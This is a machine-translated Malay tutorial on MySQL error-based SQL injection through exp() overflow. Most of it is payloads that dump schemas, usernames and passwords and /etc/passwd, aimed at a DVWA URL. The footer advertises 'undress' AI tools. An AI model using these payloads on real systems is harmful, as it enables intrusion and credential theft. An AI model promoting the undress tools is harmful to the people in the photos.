Cara menggunakan exp untuk suntikan ralat SQL
Gambaran Keseluruhan Pengenalan 0x01
Editor menemui satu lagi limpahan data Berganda dalam MySQL. Apabila kita mendapat fungsi dalam MySQL, editor lebih berminat dengan fungsi matematik Ia juga harus mengandungi beberapa jenis data untuk menyimpan nilai. Jadi editor berlari untuk menguji untuk melihat fungsi mana yang akan menyebabkan ralat limpahan. Kemudian editor mendapati bahawa apabila nilai yang lebih besar daripada 709 diluluskan, fungsi exp() akan menyebabkan ralat limpahan.
<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709) |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>
Dalam MySQL, exp mempunyai fungsi bertentangan ln dan log Untuk memberikan pengenalan ringkas, kedua-dua log dan ln mengembalikan logaritma dengan e sebagai asas, lihat persamaan. :


<p>mysql> select log(15);<br>+------------------+<br>| log(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>
Fungsi eksponen ialah fungsi songsang bagi fungsi logaritma, exp() ialah fungsi logaritma dengan e sebagai asas , Seperti persamaan:

mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
Suntikan 0x02
Apabila melibatkan suntikan, kami menggunakan pertanyaan negatif untuk menyebabkan "GANDA nilai berada di luar julat" ralat. Seperti yang dinyatakan dalam catatan blog penulis sebelum ini, penyongsangan bitwise 0 akan mengembalikan "18446744073709551615".
<p>mysql> select ~0;<br>+----------------------+<br>| ~0 |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version()) |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>
Kami mencipta ralat limpahan BERGANDA melalui penolakan subkueri dan bitwise, dan menggunakan ini untuk menyuntik data.
>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x03 Inject data
Dapatkan nama jadual:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
Dapatkan nama lajur:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
Dapatkan data:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
0x04 Semalaman
Pertanyaan ini boleh membuang semua jadual dan lajur daripada konteks semasa. Kami juga boleh membuang keseluruhan pangkalan data, tetapi kerana kami mengekstrak melalui ralat, ia akan mengembalikan hasil yang sangat sedikit.
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#

0x05 Baca fail
Anda boleh membaca fail melalui fungsi load_file(), tetapi pengarang mendapati bahawa terdapat adalah sekatan 13 baris, pernyataan ini juga boleh digunakan dalam suntikan limpahan BIGINT.
select exp(~(select*from(select load_file('/etc/passwd'))a));

Perhatikan bahawa anda tidak boleh menulis pada fail kerana ralat ini hanya menulis 0.
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
Suntikan 0x06 dalam Sisipan
Ikuti sahaja langkah
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Pertanyaan DIOS juga boleh digunakan untuk semua penyata sisipan, kemas kini dan padam.
mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
Suntikan 0x07 dalam Kemas Kini
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Suntikan 0x08 dalam Padam
mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Sama seperti suntikan BIGINT, suntikan exp sebelum ini Juga boleh digunakan untuk MySQL5.5.5 dan ke atas. Versi sebelumnya "senyap" tentang situasi ini.
mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> select exp(710); +----------+ | exp(710) | +----------+ | 1.#INF | +----------+ 1 row in set (0.00 sec) mysql> select exp(~0); +---------+ | exp(~0) | +---------+ | 1.#INF | +---------+ 1 row in set (0.00 sec)
Mungkin ada fungsi lain yang akan menghasilkan ralat seperti ini.
Atas ialah kandungan terperinci Cara menggunakan exp untuk suntikan ralat SQL. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undress AI Tool
Gambar buka pakaian secara percuma

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Clothoff.io
Penyingkiran pakaian AI

Video Face Swap
Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Untuk mengira perbezaan antara dua tarikh, anda perlu memilih fungsi yang sepadan mengikut jenis pangkalan data: 1. Gunakan Datediff () untuk mengira perbezaan hari dalam MySQL, atau menentukan unit -unit seperti jam dan minit dalam timestampdiff (); 2. Gunakan Datediff (date_part, start_date, end_date) dalam sqlserver dan tentukan unit; 3. Gunakan penolakan langsung dalam PostgreSQL untuk mendapatkan perbezaan hari, atau menggunakan ekstrak (DayFromage (...)) untuk mendapatkan selang yang lebih tepat; 4. Gunakan fungsi Julianday () untuk menolak perbezaan hari dalam SQLite; Sentiasa perhatikan pesanan tarikh

Blobstoresbinarydatalikeimages, audio, orpdfsasrawbyteswithoutcharacterencoding, whileClobstoreslargetextsuchasarticlesorjsonusingcharacterencodinglikeutf-8andsupportsstringsstrings;

Untuk mengoptimumkan prestasi Orderby dalam SQL, anda mesti terlebih dahulu memahami mekanisme pelaksanaannya dan membuat penggunaan rasional indeks dan struktur pertanyaan. Apabila medan penyortiran tidak mempunyai indeks, pangkalan data akan mencetuskan "filesort", memakan banyak sumber; Oleh itu, penyortiran langsung jadual besar harus dielakkan dan jumlah data yang disusun harus dikurangkan melalui tempat keadaan. Kedua, mewujudkan indeks yang sepadan untuk bidang penyortiran boleh mempercepatkan pertanyaan, seperti mewujudkan indeks pesanan terbalik di MySQL 8.0 untuk meningkatkan kecekapan. Di samping itu, paging yang mendalam (seperti Limit1000, 10) harus digunakan bukannya dengan paging kursor berasaskan indeks (seperti di mana> 12345) untuk melangkau imbasan tidak sah. Akhirnya, menggabungkan caching, agregasi tak segerak dan cara lain juga dapat mengoptimumkan prestasi penyortiran dalam senario set data yang besar.

GRANTandREVOKEstatementsareusedtomanageuserpermissionsinSQL.1.GRANTprovidesprivilegeslikeSELECT,INSERT,UPDATE,DELETE,ALTER,EXECUTE,orALLPRIVILEGESondatabaseobjectstousersorroles.2.SyntaxforgrantingisGRANTprivilege_typeONobject_nameTOuser_or_role,allo

UseexistsforexistenceChecks, terutama sekali

Fungsi tofindthesumofacolumninsql, usethesum (), yang mana -mana yang tidak dapat diterangkan;

Aself-joinisusedtocomparerowswithinthesametable,suchasinhierarchicaldatalikeemployee-managerrelationships,bytreatingthetableastwoseparateinstancesusingaliases,asdemonstratedwhenlistingemployeesalongsidetheirmanagers'nameswithaLEFTJOINtoincludetop-lev

Gunakan klausa yang mempunyai untuk menapis data dikumpulkan selepas GroupBy, terutamanya apabila syarat melibatkan fungsi agregasi seperti kiraan (), jumlah (), avg (); 2. 3. Mempunyai mesti diletakkan selepas Groupby, dan alias lajur dalam Select tidak boleh digunakan, dan ungkapan agregat mesti diulang; 4. 5. Senario aplikasi biasa termasuk mencari pelanggan yang nombor pesanan melebihi nilai yang ditentukan, jabatan yang gaji purata lebih tinggi daripada nilai tertentu, atau tidak termasuk kumpulan dengan nilai nol; 6. Jumlah
